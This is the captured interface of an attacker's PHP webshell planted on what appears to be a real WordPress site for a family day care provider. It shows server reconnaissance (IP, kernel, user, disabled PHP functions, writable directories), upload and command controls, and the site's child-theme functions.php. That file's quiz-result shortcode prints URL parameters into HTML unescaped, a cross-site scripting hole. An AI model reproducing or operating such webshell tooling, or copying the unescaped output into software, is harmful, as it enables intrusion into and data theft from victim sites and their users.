403Webshell
Server IP : 35.201.19.92  /  Your IP : 216.73.216.101
Web Server : nginx
System : Linux pod-200961 6.8.0-1055-gke #61-Ubuntu SMP Tue May 26 22:57:42 UTC 2026 x86_64
User : fpm200098 ( 200098)
PHP Version : 8.2.35
Disable Function : apache_child_terminate,apache_get_modules,apache_get_version,apache_getenv,apache_note,apache_setenv,disk_free_space,disk_total_space,diskfreespace,dl,exec,fastcgi_finish_request,link,opcache_compile_file,opcache_get_configuration,opcache_invalidate,opcache_is_script_cached,opcache_reset,passthru,pclose,pcntl_exec,popen,posix_getpid,posix_getppid,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,realpath_cache_get,shell_exec,show_source,symlink,system
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nas/content/live/questfamilyday/wp-content/themes/generatepress_child/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /nas/content/live/questfamilyday/wp-content/themes/generatepress_child/functions.php
<?php
/**
 * GeneratePress child theme functions and definitions.
 *
 * Add your custom PHP in this file. 
 * Only edit this file if you have direct access to it on your server (to fix errors if they happen).
 */

function generatepress_child_enqueue_scripts() {
  if ( is_rtl() ) {
    wp_enqueue_style( 'generatepress-rtl', trailingslashit( get_template_directory_uri() ) . 'rtl.css' );
  }

  $css_formrecord = date("ymd-Gis", filemtime( get_stylesheet_directory() . '/assets/css/form-record.css' ));
  wp_enqueue_style( 'form-record-style', get_stylesheet_directory_uri() . '/assets/css/form-record.css', false, $css_formrecord );
}
add_action( 'wp_enqueue_scripts', 'generatepress_child_enqueue_scripts', 100 );

function generatepress_cdn_enqueue_scripts() {
  if ( is_rtl() ) {
    wp_enqueue_style( 'generatepress-rtl', trailingslashit( get_template_directory_uri() ) . 'rtl.css' );
  }

  wp_enqueue_style('twitter-bootstrap', 'https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css', array(), false);
  wp_enqueue_style('octicons', 'https://cdnjs.cloudflare.com/ajax/libs/octicons/4.4.0/font/octicons.css', array(), false);

  // Form Styles
  $css_form1 = date("ymd-Gis", filemtime( get_stylesheet_directory() . '/assets/css/form-one-style.css' ));
  $css_form2 = date("ymd-Gis", filemtime( get_stylesheet_directory() . '/assets/css/form-two-style.css' ));

  wp_enqueue_style( 'form-one-style', get_stylesheet_directory_uri() . '/assets/css/form-one-style.css', false, $css_form1 );
  wp_enqueue_style( 'form-two-style', get_stylesheet_directory_uri() . '/assets/css/form-two-style.css', false, $css_form2 );
  // end form styles

  wp_enqueue_script('twitter-bootstrapjs', 'https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js', array('jquery'), false, true);
  wp_enqueue_script('twitter-bootstrapjs');

  wp_enqueue_style('venobox-css', get_theme_file_uri( '/assets/venobox/venobox.css' ), array(), false);

  wp_enqueue_script('venobox', get_theme_file_uri( '/assets/venobox/venobox.min.js' ), array('jquery'), false, true);

  wp_enqueue_script('member-form', get_theme_file_uri( '/js/member-form.js' ), array('jquery'), '1.0.109', true);

  $gravity_js_ver  = date("ymd-Gis", filemtime(  get_stylesheet_directory() . '/js/gravity-form.js' ));

  wp_enqueue_script('gravity-form', get_theme_file_uri( '/js/gravity-form.js' ), array('jquery'), $gravity_js_ver, true);

  $appform_js_ver  = date("ymd-Gis", filemtime(  get_stylesheet_directory() . '/js/app-form.js' ));

  wp_enqueue_script('app-form', get_theme_file_uri( '/js/app-form.js' ), array('jquery'), $appform_js_ver, true);
  wp_localize_script( 'app-form', 'ajax', array( 'url' => admin_url( 'admin-ajax.php' ) ) );

  $planform_js_ver  = date("ymd-Gis", filemtime(  get_stylesheet_directory() . '/js/form-plan-generator.js' ));

  wp_enqueue_script('plan-generator-form', get_theme_file_uri( '/js/form-plan-generator.js' ), array('jquery'), $planform_js_ver, true);
  wp_localize_script( 'plan-generator-form', 'ajax', array( 'url' => admin_url( 'admin-ajax.php' ) ) );

  wp_localize_script( 'member-form', 'ajax', array( 'url' => admin_url( 'admin-ajax.php' ) ) );
}
add_action( 'wp_enqueue_scripts', 'generatepress_cdn_enqueue_scripts', 1 );

add_action( 'wp_enqueue_scripts', 'enqueue_gravity_custom_script', 10, 2 );
function enqueue_gravity_custom_script() {
  if ( is_page(6847) ) {
    wp_enqueue_style( 'gform_basic' );
    wp_enqueue_style( 'gform_theme_components' );
    wp_enqueue_style( 'gform_theme_ie11' );
    wp_enqueue_style( 'gform_theme' );
    wp_enqueue_style( 'gforms_datepicker_css' );
    wp_enqueue_script( 'jquery-ui-datepicker' );
    wp_enqueue_script( 'gform_datepicker_legacy' );
    wp_enqueue_script( 'gform_datepicker_init' );
  }
}

// Update CSS within Admin
function custom_admin_style() {
  wp_enqueue_style('custom-admin-styles', get_theme_file_uri( '/style-admin.css' ), false, '1.0.13', 'all' );
}
add_action('admin_enqueue_scripts', 'custom_admin_style');

//* Loading editor styles for the block editor (Gutenberg)
function site_block_editor_styles() {
    wp_enqueue_style( 'site-block-editor-styles', get_theme_file_uri( '/style-editor.css' ), false, '1.0', 'all' );
}
add_action( 'enqueue_block_editor_assets', 'site_block_editor_styles' );

// Remove redirect to profile url
function profile_url_remove_in_redirect() {
  if ( !is_user_logged_in() && isset( $_REQUEST['redirect_to'] ) && $_REQUEST['redirect_to'] == 'https://questfamilydaycare.com.au/profile' ) {
    // wp_redirect( home_url( '/member-portal/' ) );
    wp_redirect( home_url( '/login/' ) );
    exit();
  }
}
add_action( 'template_redirect', 'profile_url_remove_in_redirect' );

function members_page_logged_in_redirect() {
  global $post;

  $slug = $post->post_name;
  $top_page_url = get_the_permalink( $post->ID );
  $is_profile = false;

  $slug_find = '/profile';

  if ( is_page( 'profile' ) || str_contains($top_page_url, $slug_find)) {
    $is_profile = true;
  }

  if ( $is_profile && !is_user_logged_in() ) {
    // wp_redirect( home_url( '/member-portal/' ) );
    wp_redirect( home_url( '/login/' ) );
    exit();
  }
}
add_action( 'template_redirect', 'members_page_logged_in_redirect' );

function step_page_redirect_if_not_logged_in() {
  // var_dump(is_page( 'step-form' ));
  // var_dump(is_user_logged_in());
    // if ( is_page( 'step-form' ) && !is_user_logged_in() ) {
    //     wp_redirect( home_url( '/member-portal/?redirect_to='.home_url('step-form') ) );
    //     exit();
    // }
}
add_action( 'template_redirect', 'step_page_redirect_if_not_logged_in' );

// Redirect to profile page
function redirect_to_member_profile() {
  if ( is_user_logged_in() && is_admin() ) {
    $user = wp_get_current_user();
    if ( in_array( 'member', (array) $user->roles ) ) {
      wp_redirect( home_url( '/profile/' ) );
      exit();
    }
  }

  if ( is_user_logged_in() && is_page( 672 )) {
    wp_redirect( home_url( '/profile/' ) );
    exit();
  }
}
add_action( 'template_redirect', 'redirect_to_member_profile' );

// Redirect other users if access admin url (/wp-admin)
function restrict_other_roles_adminurl_redirect() {
  if ( is_user_logged_in() && is_admin() ) {
    $restricted_roles = array('member', 'relief_educator', 'assistant_educator', 'staff');
    $is_restricted_user = false;

    $user = wp_get_current_user();
    $currentUserRoles = $user->roles;
    $isMatchRoles = array_intersect( $currentUserRoles, $restricted_roles);
    
    if ( !empty($isMatchRoles) ) :
        $is_restricted_user = true;        
    endif;

    if ( ! current_user_can( 'manage_options' ) && $is_restricted_user ) {
      wp_redirect( home_url( '/profile/' ) );
      exit;
    }
  }
}
// add_action( 'init', 'restrict_other_roles_adminurl_redirect' );

// Function to change sender name
function wpb_sender_name( $original_email_from ) {
  return 'Quest Family Day Care';
}

// Hooking up our functions to WordPress filters 
add_filter( 'wp_mail_from_name', 'wpb_sender_name' );

add_filter( 'wp_mail_from', 'my_mail_from' );

function my_mail_from( $email ) {

  return "info@questfamilydaycare.com.au";
}

//Adding Portal Function file
require_once(get_stylesheet_directory() . '/portal/portal-theme-functions.php');
require_once(get_stylesheet_directory() . '/portal/functions-portal.php');

// Adding required files
require_once(get_stylesheet_directory() . '/admin/functions-variables.php');
require_once(get_stylesheet_directory() . '/admin/functions-educators-form.php');
require_once(get_stylesheet_directory() . '/admin/functions-educators-documents.php');

require_once(get_stylesheet_directory() . '/admin/MemberLogsTable.php');
require_once(get_stylesheet_directory() . '/admin/function-membership.php');
require_once(get_stylesheet_directory() . '/admin/documents-functions.php');
require_once(get_stylesheet_directory() . '/admin/member-step-form.php');
require_once(get_stylesheet_directory() . '/admin/function-profile.php');
require_once(get_stylesheet_directory() . '/admin/functions-application.php');

require_once(get_stylesheet_directory() . '/admin/functions-staff-application.php');
require_once(get_stylesheet_directory() . '/admin/functions-staff-uploads.php');
require_once(get_stylesheet_directory() . '/admin/functions-staff-documents.php');
require_once(get_stylesheet_directory() . '/admin/functions-shortcode.php');
require_once(get_stylesheet_directory() . '/admin/functions-weekly-reports.php');

// Birthday Notifications
require_once(get_stylesheet_directory() . '/birthday-notification/birthday-notification.php');

// New Forms functions and cpt
// require_once(get_stylesheet_directory() . '/admin/functions-applications-assistant-relief.php');
require_once(get_stylesheet_directory() . '/admin/records/functions-applications-assistant-educator.php');
require_once(get_stylesheet_directory() . '/admin/records/functions-applications-relief-educator.php');
require_once(get_stylesheet_directory() . '/admin/records/functions-cpt.php');
require_once(get_stylesheet_directory() . '/admin/records/custom-form-functions.php');
require_once(get_stylesheet_directory() . '/admin/records/form-preview-entry-templates.php');
require_once(get_stylesheet_directory() . '/admin/records/modern-profile.php');

require_once(get_stylesheet_directory() . '/admin/records/template-tags.php');
require_once(get_stylesheet_directory() . '/admin/records/records-template-functions.php');

// FDC Registers functions
require_once(get_stylesheet_directory() . '/admin/records/fdc-registers.php');
// FDC Registers functions
require_once(get_stylesheet_directory() . '/admin/records/risk-assessment-record-form.php');
require_once(get_stylesheet_directory() . '/admin/function-exemptions.php');

/**
* Register user through Gravity Form.
*
* @param array $entry Entered Data
* @param array $form Form Object
*/
add_action( 'gform_after_submission_5', 'register_user_by_gravity_form', 10, 2 );
function register_user_by_gravity_form( $entry, $form ) {
  // The code that you want to run for submissions which aren't spam.
  if ( rgar( $entry, 'status' ) === 'spam' ) {
        return;
  }

  $display_name   = rgar( $entry, '3.3' ).' '.rgar( $entry, '3.4' ).' '.rgar( $entry, '3.6' );

  send_email_application_submitted($display_name, rgar( $entry, '23' ));

  // $random_password  = wp_generate_password(12,false);//Generate 12 digit password
  // $display_name   = rgar( $entry, '3.3' ).' '.rgar( $entry, '3.4' ).' '.rgar( $entry, '3.6' );
  // $user_data      =array(
  //           'user_login'    => rgar( $entry, '23' ),
  //           'user_pass'     => $random_password,
  //           'user_email'    => rgar( $entry, '23' ),
  //           'first_name'    => rgar( $entry, '3.3' ),
  //           'last_name'     => rgar( $entry, '3.6' ),
  //           'display_name'  => $display_name,
  //           'role'      => 'member'
  // );
  // $user_id      = wp_insert_user($user_data);//Function to insert the user
  // $all_data     = json_encode($entry);
  // update_user_meta( $user_id, 'random_password', $random_password );
  // update_user_meta( $user_id, 'form_insert_id', $entry['id'] );  
  // update_user_meta( $user_id, 'form_id', $entry['id'] );  
  // update_user_meta( $user_id, 'all_data', $all_data );  

  // if($user_id > 0){//If user esists or inserted correctly
  //           $email_message="<p>Hello ".$display_name."</p>";
  //           $email_message.="<p>Congratullations! You're successfully signed up for the Quest Family Day Care.</p>";
  //           $email_message.="<p>Here are you login details:</p>";
  //           $email_message.="<p><strong>Login URL: </strong>".home_url('/member-portal')."</p>";
  //           $email_message.="<p><strong>Username: </strong>".rgar( $entry, '23' )."</p>";
  //           $email_message.="<p><strong>Password: </strong>".$random_password."</p>";
  //           $email_message.="<p>&nbsp;</p>";
  //           $email_message.="<p>&nbsp;</p>";
  //           $email_message.="<p>&nbsp;</p>";
  //           $email_message.="<p>Thank You</p>";
  //           $email_message.="<p>Quest Family Day Care Team</p>";
            
  //           $subject = 'Welcome to Quest Family Day Care';
  //           $headers = array('Content-Type: text/html; charset=UTF-8');
  //           //wp_mail($to, $subject, $email_message, $headers );//Send email to store manager
  //           wp_mail(rgar( $entry, '23' ), $subject, $email_message, $headers );//Send email to store manager
            
  // }
  // error_log(print_r($entry,true),3,$_SERVER['DOCUMENT_ROOT'].'/wp-content/themes/generatepress_child/value.txt'); 
}

function send_email_application_submitted($display_name, $email) {
  $email_message="<p>Hello ".$display_name."</p>";
  $email_message.="<p>Congratulations! Your application to become a family day care educator with Quest Family Day Care has been successfully submitted.</p>";
  $email_message.="<p>We are reviewing your application and will notify you once your application has been accepted.</p>";

  $email_message.="<p>&nbsp;</p>";
  $email_message.="<p>&nbsp;</p>";
  $email_message.="<p>Thank You</p>";
  $email_message.="<p>Quest Family Day Care Team</p>";
  
  $subject = 'Application Submitted to Quest Family Day Care';
  $headers = array('Content-Type: text/html; charset=UTF-8');

  wp_mail($email, $subject, $email_message, $headers );
}

add_shortcode('quiz-result', 'get_quiz_result');

function get_quiz_result() {

  $html = '
  <div class="quiz-result">
    <p><strong>Quiz Results:</strong> '.$_GET['result'].'</p>
    <p><strong>Score:</strong> '.$_GET['score'].'</p>
    <p><strong>Percentage:</strong> '.$_GET['percentage'].'%</p>
  </div>';

   return $html;
}

/* Create Author Pro User Role */
add_role(
    'staff', //  System name of the role.
    __( 'Staff'  ) // Display name of the role.
);

// remove_role( 'staff' );

// Register Staff
add_action( 'gform_after_submission_13', 'register_staff_user_by_gravity_form', 10, 2 );

function register_staff_user_by_gravity_form( $entry, $form ) {
  // The code that you want to run for submissions which aren't spam.
  if ( rgar( $entry, 'status' ) === 'spam' ) {
        return;
  }

  $display_name   = rgar( $entry, '1.3' ).' '.rgar( $entry, '1.6' );

  send_email_staff_application_submitted($display_name, rgar( $entry, '3' ));
}

function send_email_staff_application_submitted($display_name, $email) {
  $email_message="<p>Hello ".$display_name."</p>";
  $email_message.="<p>Congratulations! You're application successfully submitted for the Quest Family Day Care.</p>";
  $email_message.="<p>We are reviewing your application for staff, we will notify once application is approved.</p>";

  $email_message.="<p>&nbsp;</p>";
  $email_message.="<p>&nbsp;</p>";
  $email_message.="<p>Thank You</p>";
  $email_message.="<p>Quest Family Day Care Team</p>";
  
  $subject = 'Application Submitted to Quest Family Day Care';
  $headers = array('Content-Type: text/html; charset=UTF-8');

  wp_mail($email, $subject, $email_message, $headers );
}

function quest_check_staff_user_role( $roles ) {
    /*@ Check user logged-in */
    if ( is_user_logged_in() ) :
        /*@ Get current logged-in user data */
        $user = wp_get_current_user();
        /*@ Fetch only roles */
        $currentUserRoles = $user->roles;
        /*@ Intersect both array to check any matching value */
        $isMatching = array_intersect( $currentUserRoles, $roles);
        $response = false;
        /*@ If any role matched then return true */
        if ( !empty($isMatching) ) :
            $response = true;        
        endif;
        return $response;
    endif;
}
$roles = [ 'staff','relief_educator' ];
if ( quest_check_staff_user_role($roles) ) :
    add_filter('show_admin_bar', '__return_false');
endif;

// Add Custom User Meta Field 
function userMetaExcludeOnFrontendLists($user) {
  $user_excluded = false;
  if ( esc_attr(get_user_meta($user->ID, 'user_exclude_frontend_list', true)) == "yes" ) {
    $user_excluded = true;
  }
  // var_dump(esc_attr(get_user_meta($user->ID, 'user_exclude_frontend_list', true)));
  ?>
  <h3>Frontend Listing</h3>
  <table class="form-table">
    <tr>
      <th>Frontend Exclude</th>
      <td>
        <label for="user_exclude_frontend_list">
          <input
            type="checkbox"
            value="yes"
            <?php echo ($user_excluded ? 'checked="checked"' : ''); ?>
            name="user_exclude_frontend_list"
            id="user_exclude_frontend_list"
          >
          Yes, exclude in frontend lists
        </label>
        <p class="description">If checked, this user account will not appear in the frontend lists</p>
      </td>
    </tr>
  </table>
  <h3>Supervised By</h3>
  <table class="form-table">
    <tr>
      <th>User ID</th>
      <td>
        <input type="number" name="assigned_educator_id" id="assigned_educator_id" value="<?php echo get_user_meta($user->ID, 'assigned_educator_id', true); ?>">
      </td>
    </tr>
  </table>
  <?php
}
add_action('show_user_profile', 'userMetaExcludeOnFrontendLists');
add_action('edit_user_profile', 'userMetaExcludeOnFrontendLists');
add_action('user_new_form', 'userMetaExcludeOnFrontendLists');

function userMetaExcludeOnFrontendListsSave($userId) {
  if (!current_user_can('edit_user', $userId)) {
    return;
  }

  update_user_meta($userId, 'user_exclude_frontend_list', $_REQUEST['user_exclude_frontend_list']);
  update_user_meta($userId, 'assigned_educator_id', $_REQUEST['assigned_educator_id']);
}
add_action('personal_options_update', 'userMetaExcludeOnFrontendListsSave');
add_action('edit_user_profile_update', 'userMetaExcludeOnFrontendListsSave');
add_action('user_register', 'userMetaExcludeOnFrontendListsSave');

add_filter( 'gform_column_input_45_7_4', 'set_column', 10, 5 );
function set_column( $input_info, $field, $column, $value, $form_id ) {
    return array( 'type' => 'select', 'choices' => ',Wet,Dry,Soiled' );
}

add_filter( 'gform_column_input_46_7_5', 'set_sunscreen_application_column', 10, 5 );
function set_sunscreen_application_column( $input_info, $field, $column, $value, $form_id ) {
    return array( 'type' => 'select', 'choices' => ',Y,N' );
}

add_filter( 'gform_column_input_82_120_3', 'set_column_register_educators_adult', 10, 5 );
function set_column_register_educators_adult( $input_info, $field, $column, $value, $form_id ) {
    return array( 'type' => 'select', 'choices' => ',Working With Children Check,Criminal History Record Check,Current Teacher Registration,Working With Vulnerable People Check' );
}

add_filter( 'gform_column_input_85_30_2', 'sleep_rest_risk_form_column', 10, 5 );
function sleep_rest_risk_form_column( $input_info, $field, $column, $value, $form_id ) {
    return array( 'type' => 'select', 'choices' => ',Yes,No' );
}

add_filter( 'gform_notification_105', 'add_attachment_checklists_pdf', 10, 3 );
function add_attachment_checklists_pdf( $notification, $form, $entry ) {
    if( $notification['name'] == 'User Notification' ) {
        //get upload root for WordPress
        $upload = wp_upload_dir();
        $upload_path = $upload['basedir'];
 
        // Add file, use server absolute full path to your file.
        $attachment = $upload_path . '/2025/03/Family-Day-Care-Self-Assessment-Checklist.pdf';
 
        if ( file_exists( $attachment ) ) {
            $notification['attachments']   = rgar( $notification, 'attachments', array() );
            $notification['attachments'][] = $attachment;
        } else {
            GFCommon::log_debug( __METHOD__ . '(): not attaching; file does not exist.' );
        }
    }

    return $notification;
}
function custom_admin_css() {
    echo '<style>
        /* Your custom CSS rules for the admin area go here */
        #elementor-panel-state-loading {
            /* Example: Change the Elementor logo in the admin bar */
            display: none !important;
        }
    </style>';
}
add_action('admin_head', 'custom_admin_css');

Youez - 2016 - github.com/yon3zu
LinuXploit